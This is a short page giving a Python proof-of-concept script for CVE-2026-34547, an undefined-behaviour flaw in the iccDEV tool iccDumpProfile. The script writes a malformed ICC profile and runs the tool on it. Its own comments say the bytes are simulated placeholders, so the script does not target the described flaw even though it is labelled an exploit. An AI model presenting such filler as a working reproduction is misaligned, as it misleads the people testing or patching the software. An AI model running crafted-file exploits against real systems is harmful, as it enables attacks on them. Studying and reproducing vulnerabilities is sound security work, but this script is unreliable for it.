CVE-2026-34547 iccDEV未定义行为漏洞

# PoC for CVE-2026-34547 # This script demonstrates how to trigger the Undefined Behavior in iccDEV # by creating a malformed ICC profile and running iccDumpProfile. import subprocess import os def create_malformed_icc(filename): # A crafted ICC profile header that triggers UB in IccUtil.cpp # Specific bytes would depend on the exact implementation flaw header = b'acsp' # Signature malformed_data = b'\x00' * 0x40 + b'\xFF' * 0x10 # Simulated malformed structure with open(filename, 'wb') as f: f.write(header + malformed_data) print(f"[*] Malformed ICC profile created: {filename}") def trigger_vulnerability(filename): try: # Execute the vulnerable tool print(f"[*] Running iccDumpProfile on {filename}...") result = subprocess.run(['iccDumpProfile', filename], capture_output=True, text=True) print(result.stdout) print(result.stderr) except FileNotFoundError: print("[!] iccDumpProfile not found. Please ensure it is in your PATH.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": poc_file = "exploit_CVE_2026_34547.icc" create_malformed_icc(poc_file) trigger_vulnerability(poc_file) # Cleanup if os.path.exists(poc_file): os.remove(poc_file)